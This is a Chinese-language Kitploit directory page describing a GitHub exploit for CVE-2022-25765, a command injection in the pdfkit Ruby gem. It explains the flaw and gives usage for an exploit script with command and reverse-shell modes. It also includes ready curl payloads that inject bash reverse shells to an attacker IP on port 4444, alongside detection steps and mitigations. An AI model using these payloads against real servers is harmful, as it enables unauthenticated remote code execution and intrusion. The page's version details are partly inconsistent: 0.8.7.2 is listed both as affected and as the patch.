Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-25765-exploit | Kitploit
工具/GitHubGitHub/jeanback1/cve-2022-25765-exploit
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubjeanback1/cve-2022-25765-exploit

CVE-2022-25765-exploit

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-25765 — pdfkit 中的命令注入

描述

CVE-2022-25765 是一个影响 pdfkit(Ruby gem)< 0.8.7.2 版本的命令注入(Command Injection)漏洞。该漏洞严重性为 CRITICAL,CVSS 评分为 9.8,因为其允许在无需身份验证的情况下远程执行命令。

问题在于 pdfkit 将 url 参数直接传递给 shell,而未进行任何清理。该库在内部通过类似以下命令执行 wkhtmltopdf:

root@kitploit:~
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

如果 URL 中包含 %20(URL 编码的空格)且后面跟随 反引号 ` 或 $(),shell 会将其中内容解释为命令并执行。

CVSS 3.1: 9.8(CRITICAL)— AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


技术细节

根因

pdfkit 中的漏洞代码(source.rb:44-50):

root@kitploit:~
def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

URL 被直接插入到 shell 命令中,未进行任何清理。通过包含 %20(空格),空格之后的内容会逃逸出 wkhtmltopdf 的参数上下文,而 \`` 或 $()` 则允许执行任意命令。


Exploit

原作者

UNICORDev(@NicPWNs 和 @Dev-Yeoj)

原始 exploit 位于:

  • GitHub — UNICORDev/exploit-CVE-2022-25765
  • Exploit-DB #51293

要求

  • Python 3
  • requests、urllib3
root@kitploit:~
pip install -r requirements.txt

使用方法

root@kitploit:~
# 自定义命令模式(生成 payload)
python3 exploit-CVE-2022-25765.py -c "whoami"

# 反向 shell 模式(生成 payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# Web 模式 — 直接向目标站点发送命令
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# Web 模式 — 直接向目标站点发起反向 shell
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# 帮助
python3 exploit-CVE-2022-25765.py -h

参数

手工 payload 示例

root@kitploit:~
# 通过 curl 注入
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# 或使用 $() 代替反引号
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# 简单命令
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

识别

判断服务器是否存在漏洞:

  1. 发送受控 URL 并观察 HTTP 回调
  2. 检查生成的 PDF 元数据:Creator: pdfkit v0.8.6
root@kitploit:~
# 发送 URL 并接收回调
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# 监听:nc -lnvp 4444
# 如果收到 User-Agent: wkhtmltopdf 的请求,说明该应用会转换 PDF

# 通过 PDF 元数据验证版本
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# 查找:"Generated by pdfkit v0.8.6"(存在漏洞)

缓解措施

  • 将 pdfkit 升级至 ≥ 0.8.7.2 版本
  • 如果无法升级,请清理 url 参数,去除危险字符(\``、$()、%20`)
  • 实施 URL 白名单,或使用第三方 API 生成 PDF

参考资料

  • NVD — CVE-2022-25765
  • GitHub 上的 CVE-2022-25765
  • Exploit-DB #51293
  • Snyk Advisory — SNYK-RUBY-PDFKIT-2869795
  • pdfkit GitHub(原始)
下载工具
字段值
CVECVE-2022-25765
产品pdfkit(Ruby gem)
受影响版本0.0.0 – 0.8.7.2
类型命令注入(CWE-78)
身份验证不需要
CVSS 3.19.8 CRITICAL
补丁pdfkit ≥ 0.8.7.2
参数描述
-c自定义命令
-s <IP> <PORT>反向 shell 模式
-w <URL>目标漏洞网站 URL(可选)
-p <param>POST 参数(可选,默认:url)
-h帮助